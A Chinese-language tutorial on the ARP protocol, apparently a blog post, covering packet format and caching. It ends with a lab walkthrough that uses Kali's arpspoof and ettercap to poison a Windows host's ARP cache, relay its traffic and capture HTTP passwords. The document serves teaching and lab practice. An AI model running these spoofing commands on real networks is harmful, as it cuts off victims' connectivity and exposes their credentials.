一. ARP协议

ARP(地址解析协议)是一个三层协议,但是工作在二层。所以也有的地方把它称为2.5层协议

二层数据交换靠MAC地址,这个时候ARP协议用来将一个已知的IP地址解析为MAC地址,,从而进行二层数据交互

二. 工作阶段

主机向另一台主机发送ARP请求,然后接收到ARP请求后,会发ARP响应

1. ARP请求

6ffe0e4da1c81ff1.webp

主机A向主机B发送ARP请求,然后主机B接收到后,向主机A发送ARP响应。

但是现在有个问题,ARP是工作在二层,二层靠MAC地址进行传送数据,所以主机A向主机B发送数据之前,他得先知道主机B的MAC地址,但是他现在不知道,所以主机A在分装ARP请求的时候,目的MAC地址是广播地址

d35546f9b1b87b8f.webp

他是以广播的方式来请求。

2. ARP响应

主机B收到后,会检测数据帧,发现IP和自己一样,说明是在访问主机B的MAC地址,然后它再封装一次。

2375d336287950f3.webp

这就是一个单波的响应。

3. 实例

我们有两台虚拟机,win10和win7

win10的IP是192.168.40.131,win7的IP是192.168.40.130,这俩是一个网段的,在一个局域网。

我们在win10打开wireshark准备抓包。

0ecb8cd4b8811cfe.webp

现在是没有任何流量的,我们用win10去ping win7

我们先不看结果,先猜一下,ping使用的是ICMP协议,所以这个协议一定有,那么之前为了找到win7,就一定会进行局域网的广播,所以在ICMP协议前就有ARP协议的存在。

164bd945b4310206.webp

和我们想的一样。

我们看一下。

7abef45b6e3ec33b.webp

首先是 who has 192.168.40.130? tell 192.168.40.131.

这句话的意思是,win10广播问,谁的IP是192.168.40.130啊,告诉我一下你的MAC地址。

下一句,192.168.40.130 is at 00:0c:29:47:f1:02

这句话的意思是,192.168.40.130在这!我的MAC地址是00:0c:29:47:f1:02

4. ARP报文格式

我们简单画一个这个数据包结构

f084af5a9ac30156.webp

我们可以看一下包

af253b9c01a07727.webp

我们可以看到它没有网络层的数据信息,所以这个结构应该是这样的。

e86816e7ce7ebae3.webp

5. ARP缓存

ARP缓存主要是为了避免去重复发送ARP请求

比如上面的那个环境,我们再ping一下

72dde539b81573fc.webp

可以看到,ARP请求没有了,因为我们的缓存表中已经记录了对应IP的MAC地址。

我们可以通过 arp -a查看缓存表

99fc51416113f76c.webp

我们可以通过arp -d来清空缓存

dc751913091b9fda.webp

这个需要管理员权限

我们用管理员打开cmd

44dd582c60ba6531.webp

可以看到缓存就没了,剩的那个是组播地址不用管他

有一个这样的网络

4403ab47ddf4c043.webp

我们拿PC1去ping PC2,它肯定是可以ping通的,这是后我们看一下ARP缓存表

62568a189c174331.webp

1.10是本机的,1.20是对端主机的,它的type类型是ARPA,是从F0/0发送的

我们想要清除ARP的话,用clear arp-cache命令

7cccb1a9efb59318.webp

我们可以手动添加ARP

1
arp 192.168.1.20 cc03.143c.0000 arpa

7ddfd6d8e9afad9d.webp

也可以手动删除

1
no arp 192.168.1.20 cc03.143c.0000 arpa

a72755b62f181518.webp

那如果我们手动添加的时候,把MAC地址给改了,即MAC地址和IP地址对应的主机不同,会发生什么

1
arp 192.168.1.20 cc03.143c.0011 arpa

458caaa36da4633e.webp

那么现在我们ping 192.168.1.20能不能ping通?

肯定ping不同

因为我们ARP是在二层交互,二层就靠MAC地址来交互,你给了一个虚假的MAC地址,他是肯定不同的。

三. ARP欺骗与ARP攻击

1. ARP攻击

和ARP欺骗不同,他的目的是让目标机访问不了网

90e9f542d012e9da.webp

主机A想要访问公网,他首先第一步,将数据交给自己的出口路由器,他会向网络中发送ARP请求,然后主机B,主机C,和出口路由器都会接收到ARP请求

正常情况是,当路由器发现这个IP地址是来问自己的时候,他就会把自己的MAC地址发给主机A,形成ARP响应。

那如果主机C是攻击方,他就会给主机A发送一个携带虚假MAC地址的ARP响应,然后主机A就会记录ARP表。

假如出口路由器的IP地址是192.168.1.10,那么当主机A接收到ARP响应并记录了虚假的MAC地址,就会出现,ping不通出口路由器,然后他就不发连接外网。

2. ARP欺骗

(1) 欺骗网关

就上面说的,我们给了一个虚假的MAC地址,那如果我们给一个真实的MAC地址呢?

81136ec7f69ee465.webp

这个时候主机A会将数据发给主机C,然后主机C再发给出口路由器。

这个过程中,主机C也会发送ARP应答。

(2) 欺骗主机

9b6f98aa4d56139b.webp

主机A想要向主机B发送数据,这个时候就和网关没啥关系了。

然后还是同样的套路,主机C向主机A发送ARP响应,让主机A发送给主机B的数据发给主机C。

3. 防御

我直接把把网关给绑死,你告诉我,这个IP是这个MAC,我不信,我就按我的来。

比如ARP防火墙。

四. 实施ARP欺骗和ARP攻击

1. 环境

  • kali linux
  • win10(被攻击)

我们用的是kali中的arpspoof工具,kali和win10能够上网,能ping通百度就行,并且这两台能够通信

然后kali配置源,更新,安装就行。

1
apt-get update

f76ddfb5edd60fbf.webp

1
apt-get upgrade

然后安装工具 dsniff

1
apt-get install dsniff

364d384f56f3a2ed.webp

2. ARP攻击模拟

ARP攻击不仅要搞主机IP,还要搞主机的网关

win10的IP是 192.168.40.134,网关是 192.168.40.2

然后确认一下kali的网卡

1
ifconfig

8f18ec599daca7aa.webp

有一块eth0网卡

输入:

1
arpspoof -i eth0 -t 192.168.40.134 192.168.40.2

0cb93acf2064cd35.webp

这个 00:50:56:28:13:28 就是kali的MAC地址

我们在win10上抓一下包

c6ae4720a7f20a67.webp

可以看到清一色的全是 00:50:56:28:13:28

这个时候这台win10就无法访问网关了,即无法上外网。

27df65dcbcbb454b.webp

我们看看抓包内容

dcf024a61c8e9bbf.webp

看包的内容,看不出啥东西。

但是我们看看最开始,我们ping的那个抓包,那个是不是就两个ARP啊,这里一堆ARP报文,这极有可能是ARP攻击。

3. ARP欺骗模拟

ARP欺骗简单,就有点像中间商,win10的数据先交给kali,然后kali再交给网关。

我们首先要开启kali的IP转发功能,我们可以命令开启

我们重新开一个终端,ARP攻击让它继续

1
echo 1 >> /proc/sys/net/ipv4/ip_forward

4538a4f3be9d930e.webp

打开后,win10就能上网了

9d9bff241253adc0.webp

我们在kali打开wireshark

我们筛选ip 192.168.40.134

1
ip.addr == 192.168.40.134

23f934631181bce3.webp

抓到包了。

4. ARP欺骗工具

我们这里再用另外的工具试试

kali里自带了一个工具叫 ettercap-graphical

a5178125c9ca9e53.webp

我们打开它

c8df07d6c914bcfc.webp

选择好网卡后点击勾。

6f78be3902a1731a.webp

点击这个 hostlist

e8dde7550aa955bc.webp

找到目的IP

4bc028c10b11f525.webp

添加到目标1

029196c321c1b1ac.webp

下面就会告诉你添加好了。

e05b51966cd2579c.webp

开启ARP毒化

然后我们打开客户端

1
ettercap -Tq -i eth0

b4a8fa00b1ef3ad2.webp

我们打开一个http的网页,截取一下密码。

82202473b3ee162f.webp

注意,这个方法只能整http,有时间会出一篇截取https的文章。